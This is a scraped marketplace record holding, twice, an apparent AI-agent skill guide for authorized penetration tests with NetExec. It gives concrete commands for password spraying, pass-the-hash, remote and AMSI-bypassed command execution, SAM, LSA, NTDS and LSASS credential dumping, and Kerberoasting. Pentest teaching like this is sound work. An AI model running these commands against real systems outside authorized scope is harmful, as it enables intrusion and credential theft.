[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFJ03R15AQMF1QWVKA08JG":3,"skill-same:01M6AFJ03R15AQMF1QWVKA08JG":103},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":46,"linkOnly":47,"markdownContent":48,"markdownBody":49,"frontMatter":50,"refName":58,"commitSha":59,"skillDirectory":60,"forksCount":61,"repositoryHtmlUrl":62,"repositoryHomepageUrl":63,"ownerHtmlUrl":64,"ownerBlogUrl":65,"ownerDescription":66,"updatedAt":67,"install":68,"resources":81},"01M6AFJ03R15AQMF1QWVKA08JG","moving-laterally-with-netexec",null,"Use NetExec (nxc) to validate credentials, enumerate SMB shares\u002Fusers\u002Fpolicy, password-spray safely across lockout thresholds, execute commands, and dump SAM\u002FLSA\u002FNTDS credentials across SMB, WinRM, LDAP, MSSQL, SSH, and other protocol modules. Use during authorized internal penetration tests to find lateral-movement paths after obtaining credentials or hashes, or to conduct controlled password spraying and post-exploitation on in-scope hosts.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fmoving-laterally-with-netexec\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45],"moving laterally with netexec","ldap","winrm","password-spraying","netexec","ntds","smb","exploitation","lateral-movement","penetration-testing","testing","active-directory","post-exploitation","credential-access","protocol","validate","cybersecurity","policy","directory","2026-11-10 10:12:30",false,"---\nname: moving-laterally-with-netexec\ndescription: Use NetExec (nxc) to validate credentials, enumerate SMB shares\u002Fusers\u002Fpolicy, password-spray safely across lockout thresholds, execute commands, and dump SAM\u002FLSA\u002FNTDS credentials across SMB, WinRM, LDAP, MSSQL, SSH, and other protocol modules. Use during authorized internal penetration tests to find lateral-movement paths after obtaining credentials or hashes, or to conduct controlled password spraying and post-exploitation on in-scope hosts.\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- netexec\n- lateral-movement\n- smb\n- password-spraying\n- credential-access\n- active-directory\n- winrm\n- post-exploitation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1021.002\n---\n# Moving Laterally with NetExec\n\n> **Authorized Use Only:** This skill is for authorized penetration testing, red-team engagements, and educational labs only. NetExec authenticates to, executes code on, and extracts credentials from remote hosts. Running it against systems you do not own or lack explicit written authorization to test is illegal under computer-misuse laws (e.g. the US CFAA, UK Computer Misuse Act). Confirm scope and rules of engagement before use.\n\n## Overview\n\nNetExec (`nxc`) is the actively maintained successor to CrackMapExec, a network-service swiss-army knife for assessing and exploiting Windows\u002FActive Directory and Linux environments. It wraps Impacket and other libraries behind a unified CLI so an operator can authenticate against many hosts at once, validate harvested credentials, spray passwords, enumerate shares\u002Fusers\u002Fpolicies, execute commands, and dump credentials — all while logging cleanly for reporting.\n\nNetExec is protocol-oriented: every invocation starts with a protocol module. As of the 2025 releases it supports **smb, winrm, mssql, ldap, ssh, ftp, wmi, rdp, vnc, and nfs**. Command execution (`-x`\u002F`-X`) is available on SMB, WINRM, SSH, MSSQL, WMI and (since summer 2025) RDP. A built-in module system (`-M`) adds capabilities such as LAPS retrieval, LSASS dumping via `lsassy`, BloodHound collection, and share spidering.\n\nFor lateral movement specifically, NetExec maps directly to MITRE ATT&CK **T1021.002 (Remote Services: SMB\u002FWindows Admin Shares)**: it authenticates over SMB (port 445), reaches `ADMIN$`\u002F`C$`, and uses named-pipe or task-scheduler execution to run code on remote machines. The `(Pwn3d!)` marker in output signals that the supplied principal has local-admin code-execution rights on a host — the green light for lateral movement.\n\n## When to Use\n\n- During an internal network penetration test after obtaining one or more valid credentials\u002Fhashes, to identify every host where those credentials grant admin access.\n- To perform controlled password spraying against a domain while respecting lockout thresholds.\n- To enumerate SMB shares, domain users, password policy, and loggedon sessions across a subnet in one sweep.\n- To execute commands or dump SAM\u002FLSA\u002FNTDS credentials on authorized targets during post-exploitation.\n- To collect BloodHound data or LAPS passwords using NetExec modules instead of separate tooling.\n\n## Prerequisites\n\n- A Linux operator host (Kali\u002FParrot\u002FUbuntu). Install via pipx (recommended):\n  ```bash\n  sudo apt install -y pipx git\n  pipx ensurepath\n  pipx install git+https:\u002F\u002Fgithub.com\u002FPennyw0rth\u002FNetExec\n  # verify\n  nxc --version\n  nxc smb --help\n  ```\n- Docker alternative:\n  ```bash\n  git clone https:\u002F\u002Fgithub.com\u002FPennyw0rth\u002FNetExec\n  cd NetExec\n  docker build -t netexec .\n  docker run --rm -it netexec smb --help\n  ```\n- Network reachability to target ports (445\u002FSMB, 5985-5986\u002FWinRM, 389-636\u002FLDAP, 1433\u002FMSSQL).\n- Valid credentials, NT hashes, or Kerberos tickets within an authorized scope.\n- A signed rules-of-engagement document and knowledge of the account-lockout policy before spraying.\n\n## Objectives\n\n- Validate harvested credentials across a host range and locate `(Pwn3d!)` admin access.\n- Enumerate shares, users, and password policy over SMB and LDAP.\n- Conduct lockout-safe password spraying with `--continue-on-success`.\n- Execute commands on authorized hosts and select an appropriate `--exec-method`.\n- Dump SAM, LSA, and NTDS credentials and collect them into the NetExec workspace.\n- Drive AD attacks (Kerberoasting, ASREPRoast, BloodHound collection) through LDAP modules.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Official Name | How NetExec Implements It |\n|--------------|---------------|---------------------------|\n| T1021.002 | Remote Services: SMB\u002FWindows Admin Shares | Authenticates over SMB to `ADMIN$`\u002F`C$` and executes code on remote hosts (`-x`, `--exec-method`) |\n| T1110.003 | Brute Force: Password Spraying | One password against many accounts with `--continue-on-success` |\n| T1003.002 | OS Credential Dumping: Security Account Manager | `--sam` dumps local SAM hashes |\n| T1003.004 | OS Credential Dumping: LSA Secrets | `--lsa` dumps LSA secrets and cached credentials |\n| T1003.006 | OS Credential Dumping: DCSync | `--ntds` via drsuapi extracts the domain database |\n| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | `ldap --kerberoasting` requests service tickets |\n| T1087.002 | Account Discovery: Domain Account | `--users`, `--rid-brute` enumerate domain accounts |\n| T1135 | Network Share Discovery | `--shares`, `-M spider_plus` enumerate accessible shares |\n\n## Workflow\n\n### 1. Validate credentials and find admin access\nSweep a subnet with a credential pair or NT hash. A trailing `(Pwn3d!)` marks hosts where the principal has admin code execution — these are your lateral-movement targets.\n```bash\n# Cleartext password across a \u002F24\nnxc smb 192.168.1.0\u002F24 -u jsmith -p 'Summer2025!' -d corp.local\n\n# Pass-the-hash (NT only or LM:NT)\nnxc smb 192.168.1.0\u002F24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'\nnxc smb 10.10.10.0\u002F24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth\n```\n\n### 2. Enumerate the environment\nPull users, shares, password policy, loggedon sessions, and active sessions to plan movement.\n```bash\nnxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --users\nnxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --pass-pol\nnxc smb 192.168.1.0\u002F24 -u jsmith -p 'Summer2025!' --shares\nnxc smb 192.168.1.0\u002F24 -u jsmith -p 'Summer2025!' --loggedon-users --sessions\n# RID brute for accounts when listing is blocked\nnxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --rid-brute 10000\n```\n\n### 3. Password-spray safely\nSpray one password against a user list, staying under the lockout threshold. `--continue-on-success` keeps testing every account instead of stopping at the first hit.\n```bash\n# Discover the lockout policy FIRST\nnxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --pass-pol\n\n# Spray a single password across many users\nnxc smb dc01.corp.local -u users.txt -p 'Welcome2025!' --continue-on-success\n\n# Validate a credential set across the domain without bruteforcing\nnxc ldap dc01.corp.local -u users.txt -p 'Spring2025!' --continue-on-success --no-bruteforce\n```\n\n### 4. Execute commands on authorized hosts\nOn `(Pwn3d!)` targets, run commands and choose a quieter execution channel when needed.\n```bash\n# Default execution\nnxc smb 192.168.1.50 -u Administrator -H \u003Chash> -x 'whoami \u002Fall'\n\n# Pick an exec method: smbexec, wmiexec, atexec, mmcexec\nnxc smb 192.168.1.50 -u Administrator -H \u003Chash> --exec-method wmiexec -x 'hostname'\n\n# PowerShell over WinRM (amsi-bypassed, base64-encoded transparently)\nnxc winrm 192.168.1.50 -u Administrator -H \u003Chash> -X '$PSVersionTable'\n```\n\n### 5. Dump credentials\nHarvest local and domain credentials from authorized hosts to fuel further movement.\n```bash\n# Local SAM hashes and LSA secrets\nnxc smb 192.168.1.50 -u Administrator -H \u003Chash> --sam --lsa\n\n# In-memory LSASS dump via the lsassy module\nnxc smb 192.168.1.50 -u Administrator -H \u003Chash> -M lsassy\n\n# Domain database from a DC (DRSUAPI default, or VSS)\nnxc smb dc01.corp.local -u Administrator -H \u003Chash> --ntds\nnxc smb dc01.corp.local -u Administrator -H \u003Chash> --ntds vss\n```\n\n### 6. Drive AD attacks via LDAP and modules\nUse protocol modules to pivot to ticket attacks, delegation, LAPS, and BloodHound ingestion.\n```bash\n# Kerberoasting and ASREPRoasting\nnxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' --kerberoasting kerb.out\nnxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' --asreproast asrep.out\n\n# Read LAPS passwords where permitted\nnxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' -M laps\n\n# Collect BloodHound data\nnxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' --bloodhound --collection All --dns-server 192.168.1.10\n\n# MSSQL command\u002Fquery execution\nnxc mssql 192.168.1.60 -u sa -p 'Sql2025!' --local-auth -q 'SELECT name FROM sys.databases'\nnxc mssql 192.168.1.60 -u sa -p 'Sql2025!' --local-auth -x 'whoami'\n```\n\n### 7. Review the workspace and report\nNetExec stores results in a per-protocol SQLite workspace under `~\u002F.nxc\u002F`. Review captured credentials and admin relationships for the report.\n```bash\nnxc smb -L              # list SMB modules\nls ~\u002F.nxc\u002Fworkspaces\u002F\nnxc smb 192.168.1.0\u002F24 -u jsmith -p 'Summer2025!' --shares --log spray_results.log\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| NetExec (`nxc`) | Multi-protocol network exploitation | https:\u002F\u002Fgithub.com\u002FPennyw0rth\u002FNetExec |\n| NetExec Wiki | Official docs and per-protocol flags | https:\u002F\u002Fwww.netexec.wiki\u002F |\n| Impacket | Underlying SMB\u002FMSSQL\u002FKerberos libraries | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| lsassy | Remote LSASS extraction (NetExec module) | https:\u002F\u002Fgithub.com\u002Flogin-securite\u002Flsassy |\n| BloodHound CE | Graph analysis of collected AD data | https:\u002F\u002Fgithub.com\u002FSpecterOps\u002FBloodHound |\n| NetExec Cheat Sheet | Command reference | https:\u002F\u002Fwww.stationx.net\u002Fnetexec-cheat-sheet\u002F |\n\n## Validation Criteria\n\n- [ ] NetExec installed and `nxc --version` confirmed.\n- [ ] Account-lockout policy reviewed before any spraying.\n- [ ] Credentials validated across the in-scope host range.\n- [ ] `(Pwn3d!)` admin-access hosts enumerated and documented.\n- [ ] Shares, users, and password policy collected.\n- [ ] Password spraying performed under lockout thresholds with `--continue-on-success`.\n- [ ] Command execution tested with an appropriate `--exec-method`.\n- [ ] Credential dumping (`--sam`\u002F`--lsa`\u002F`--ntds`) performed only on authorized targets.\n- [ ] LDAP attacks (Kerberoasting\u002FASREPRoast\u002FLAPS\u002FBloodHound) executed where in scope.\n- [ ] Workspace results exported and included in the engagement report.\n","# Moving Laterally with NetExec\n\n> **Authorized Use Only:** This skill is for authorized penetration testing, red-team engagements, and educational labs only. NetExec authenticates to, executes code on, and extracts credentials from remote hosts. Running it against systems you do not own or lack explicit written authorization to test is illegal under computer-misuse laws (e.g. the US CFAA, UK Computer Misuse Act). Confirm scope and rules of engagement before use.\n\n## Overview\n\nNetExec (`nxc`) is the actively maintained successor to CrackMapExec, a network-service swiss-army knife for assessing and exploiting Windows\u002FActive Directory and Linux environments. It wraps Impacket and other libraries behind a unified CLI so an operator can authenticate against many hosts at once, validate harvested credentials, spray passwords, enumerate shares\u002Fusers\u002Fpolicies, execute commands, and dump credentials — all while logging cleanly for reporting.\n\nNetExec is protocol-oriented: every invocation starts with a protocol module. As of the 2025 releases it supports **smb, winrm, mssql, ldap, ssh, ftp, wmi, rdp, vnc, and nfs**. Command execution (`-x`\u002F`-X`) is available on SMB, WINRM, SSH, MSSQL, WMI and (since summer 2025) RDP. A built-in module system (`-M`) adds capabilities such as LAPS retrieval, LSASS dumping via `lsassy`, BloodHound collection, and share spidering.\n\nFor lateral movement specifically, NetExec maps directly to MITRE ATT&CK **T1021.002 (Remote Services: SMB\u002FWindows Admin Shares)**: it authenticates over SMB (port 445), reaches `ADMIN$`\u002F`C$`, and uses named-pipe or task-scheduler execution to run code on remote machines. The `(Pwn3d!)` marker in output signals that the supplied principal has local-admin code-execution rights on a host — the green light for lateral movement.\n\n## When to Use\n\n- During an internal network penetration test after obtaining one or more valid credentials\u002Fhashes, to identify every host where those credentials grant admin access.\n- To perform controlled password spraying against a domain while respecting lockout thresholds.\n- To enumerate SMB shares, domain users, password policy, and loggedon sessions across a subnet in one sweep.\n- To execute commands or dump SAM\u002FLSA\u002FNTDS credentials on authorized targets during post-exploitation.\n- To collect BloodHound data or LAPS passwords using NetExec modules instead of separate tooling.\n\n## Prerequisites\n\n- A Linux operator host (Kali\u002FParrot\u002FUbuntu). Install via pipx (recommended):\n  ```bash\n  sudo apt install -y pipx git\n  pipx ensurepath\n  pipx install git+https:\u002F\u002Fgithub.com\u002FPennyw0rth\u002FNetExec\n  # verify\n  nxc --version\n  nxc smb --help\n  ```\n- Docker alternative:\n  ```bash\n  git clone https:\u002F\u002Fgithub.com\u002FPennyw0rth\u002FNetExec\n  cd NetExec\n  docker build -t netexec .\n  docker run --rm -it netexec smb --help\n  ```\n- Network reachability to target ports (445\u002FSMB, 5985-5986\u002FWinRM, 389-636\u002FLDAP, 1433\u002FMSSQL).\n- Valid credentials, NT hashes, or Kerberos tickets within an authorized scope.\n- A signed rules-of-engagement document and knowledge of the account-lockout policy before spraying.\n\n## Objectives\n\n- Validate harvested credentials across a host range and locate `(Pwn3d!)` admin access.\n- Enumerate shares, users, and password policy over SMB and LDAP.\n- Conduct lockout-safe password spraying with `--continue-on-success`.\n- Execute commands on authorized hosts and select an appropriate `--exec-method`.\n- Dump SAM, LSA, and NTDS credentials and collect them into the NetExec workspace.\n- Drive AD attacks (Kerberoasting, ASREPRoast, BloodHound collection) through LDAP modules.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Official Name | How NetExec Implements It |\n|--------------|---------------|---------------------------|\n| T1021.002 | Remote Services: SMB\u002FWindows Admin Shares | Authenticates over SMB to `ADMIN$`\u002F`C$` and executes code on remote hosts (`-x`, `--exec-method`) |\n| T1110.003 | Brute Force: Password Spraying | One password against many accounts with `--continue-on-success` |\n| T1003.002 | OS Credential Dumping: Security Account Manager | `--sam` dumps local SAM hashes |\n| T1003.004 | OS Credential Dumping: LSA Secrets | `--lsa` dumps LSA secrets and cached credentials |\n| T1003.006 | OS Credential Dumping: DCSync | `--ntds` via drsuapi extracts the domain database |\n| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | `ldap --kerberoasting` requests service tickets |\n| T1087.002 | Account Discovery: Domain Account | `--users`, `--rid-brute` enumerate domain accounts |\n| T1135 | Network Share Discovery | `--shares`, `-M spider_plus` enumerate accessible shares |\n\n## Workflow\n\n### 1. Validate credentials and find admin access\nSweep a subnet with a credential pair or NT hash. A trailing `(Pwn3d!)` marks hosts where the principal has admin code execution — these are your lateral-movement targets.\n```bash\n# Cleartext password across a \u002F24\nnxc smb 192.168.1.0\u002F24 -u jsmith -p 'Summer2025!' -d corp.local\n\n# Pass-the-hash (NT only or LM:NT)\nnxc smb 192.168.1.0\u002F24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'\nnxc smb 10.10.10.0\u002F24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth\n```\n\n### 2. Enumerate the environment\nPull users, shares, password policy, loggedon sessions, and active sessions to plan movement.\n```bash\nnxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --users\nnxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --pass-pol\nnxc smb 192.168.1.0\u002F24 -u jsmith -p 'Summer2025!' --shares\nnxc smb 192.168.1.0\u002F24 -u jsmith -p 'Summer2025!' --loggedon-users --sessions\n# RID brute for accounts when listing is blocked\nnxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --rid-brute 10000\n```\n\n### 3. Password-spray safely\nSpray one password against a user list, staying under the lockout threshold. `--continue-on-success` keeps testing every account instead of stopping at the first hit.\n```bash\n# Discover the lockout policy FIRST\nnxc smb dc01.corp.local -u jsmith -p 'Summer2025!' --pass-pol\n\n# Spray a single password across many users\nnxc smb dc01.corp.local -u users.txt -p 'Welcome2025!' --continue-on-success\n\n# Validate a credential set across the domain without bruteforcing\nnxc ldap dc01.corp.local -u users.txt -p 'Spring2025!' --continue-on-success --no-bruteforce\n```\n\n### 4. Execute commands on authorized hosts\nOn `(Pwn3d!)` targets, run commands and choose a quieter execution channel when needed.\n```bash\n# Default execution\nnxc smb 192.168.1.50 -u Administrator -H \u003Chash> -x 'whoami \u002Fall'\n\n# Pick an exec method: smbexec, wmiexec, atexec, mmcexec\nnxc smb 192.168.1.50 -u Administrator -H \u003Chash> --exec-method wmiexec -x 'hostname'\n\n# PowerShell over WinRM (amsi-bypassed, base64-encoded transparently)\nnxc winrm 192.168.1.50 -u Administrator -H \u003Chash> -X '$PSVersionTable'\n```\n\n### 5. Dump credentials\nHarvest local and domain credentials from authorized hosts to fuel further movement.\n```bash\n# Local SAM hashes and LSA secrets\nnxc smb 192.168.1.50 -u Administrator -H \u003Chash> --sam --lsa\n\n# In-memory LSASS dump via the lsassy module\nnxc smb 192.168.1.50 -u Administrator -H \u003Chash> -M lsassy\n\n# Domain database from a DC (DRSUAPI default, or VSS)\nnxc smb dc01.corp.local -u Administrator -H \u003Chash> --ntds\nnxc smb dc01.corp.local -u Administrator -H \u003Chash> --ntds vss\n```\n\n### 6. Drive AD attacks via LDAP and modules\nUse protocol modules to pivot to ticket attacks, delegation, LAPS, and BloodHound ingestion.\n```bash\n# Kerberoasting and ASREPRoasting\nnxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' --kerberoasting kerb.out\nnxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' --asreproast asrep.out\n\n# Read LAPS passwords where permitted\nnxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' -M laps\n\n# Collect BloodHound data\nnxc ldap dc01.corp.local -u jsmith -p 'Summer2025!' --bloodhound --collection All --dns-server 192.168.1.10\n\n# MSSQL command\u002Fquery execution\nnxc mssql 192.168.1.60 -u sa -p 'Sql2025!' --local-auth -q 'SELECT name FROM sys.databases'\nnxc mssql 192.168.1.60 -u sa -p 'Sql2025!' --local-auth -x 'whoami'\n```\n\n### 7. Review the workspace and report\nNetExec stores results in a per-protocol SQLite workspace under `~\u002F.nxc\u002F`. Review captured credentials and admin relationships for the report.\n```bash\nnxc smb -L              # list SMB modules\nls ~\u002F.nxc\u002Fworkspaces\u002F\nnxc smb 192.168.1.0\u002F24 -u jsmith -p 'Summer2025!' --shares --log spray_results.log\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| NetExec (`nxc`) | Multi-protocol network exploitation | https:\u002F\u002Fgithub.com\u002FPennyw0rth\u002FNetExec |\n| NetExec Wiki | Official docs and per-protocol flags | https:\u002F\u002Fwww.netexec.wiki\u002F |\n| Impacket | Underlying SMB\u002FMSSQL\u002FKerberos libraries | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| lsassy | Remote LSASS extraction (NetExec module) | https:\u002F\u002Fgithub.com\u002Flogin-securite\u002Flsassy |\n| BloodHound CE | Graph analysis of collected AD data | https:\u002F\u002Fgithub.com\u002FSpecterOps\u002FBloodHound |\n| NetExec Cheat Sheet | Command reference | https:\u002F\u002Fwww.stationx.net\u002Fnetexec-cheat-sheet\u002F |\n\n## Validation Criteria\n\n- [ ] NetExec installed and `nxc --version` confirmed.\n- [ ] Account-lockout policy reviewed before any spraying.\n- [ ] Credentials validated across the in-scope host range.\n- [ ] `(Pwn3d!)` admin-access hosts enumerated and documented.\n- [ ] Shares, users, and password policy collected.\n- [ ] Password spraying performed under lockout thresholds with `--continue-on-success`.\n- [ ] Command execution tested with an appropriate `--exec-method`.\n- [ ] Credential dumping (`--sam`\u002F`--lsa`\u002F`--ntds`) performed only on authorized targets.\n- [ ] LDAP attacks (Kerberoasting\u002FASREPRoast\u002FLAPS\u002FBloodHound) executed where in scope.\n- [ ] Workspace results exported and included in the engagement report.\n",{"name":5,"tags":51,"author":52,"domain":43,"license":15,"version":53,"nist_csf":54,"subdomain":36,"description":7,"mitre_attack":56},[31,35,33,30,40,38,29,39],"mahipal","1.0",[55],"DE.CM-01",[57],"T1021.002","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fmoving-laterally-with-netexec",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":69,"prompt":79,"zipAvailable":80},[70,73,76],{"tool":71,"command":72},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill moving-laterally-with-netexec",{"tool":74,"command":75},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill moving-laterally-with-netexec",{"tool":77,"command":78},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill moving-laterally-with-netexec","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fmoving-laterally-with-netexec\u002FSKILL.md",true,[82,87,93,97],{"path":83,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fmoving-laterally-with-netexec\u002FLICENSE",{"path":88,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":91,"sourceHtmlUrl":92},"references\u002Fapi-reference.md","REFERENCE","参考文档",2461,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fmoving-laterally-with-netexec\u002Freferences\u002Fapi-reference.md",{"path":94,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":95,"sourceHtmlUrl":96},"references\u002Fstandards.md",2014,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fmoving-laterally-with-netexec\u002Freferences\u002Fstandards.md",{"path":98,"resourceType":99,"resourceTypeDesc":100,"sizeBytes":101,"sourceHtmlUrl":102},"scripts\u002Fagent.py","SCRIPT","脚本",4993,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fmoving-laterally-with-netexec\u002Fscripts\u002Fagent.py",[104,131,154,179,205,232],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":111,"publishedAt":46},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[110],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[112,113,114,115,116,43,117,118,119,120,121,122,123,124,125,126,127,128,129,130],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":132,"name":133,"nameZh":6,"description":134,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":135,"categories":136,"keywords":138,"publishedAt":46},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[137],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[139,127,140,141,116,44,43,119,142,143,144,145,146,147,148,149,150,151,152,153],"boot","TPM","validating tpm measured boot attestation","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":155,"name":156,"nameZh":6,"description":157,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":162,"publishedAt":46},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[160,161],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[148,163,164,165,37,43,166,167,142,168,169,170,171,172,173,174,175,176,177,178],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":180,"name":181,"nameZh":6,"description":182,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":183,"categories":184,"keywords":186,"publishedAt":46},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote 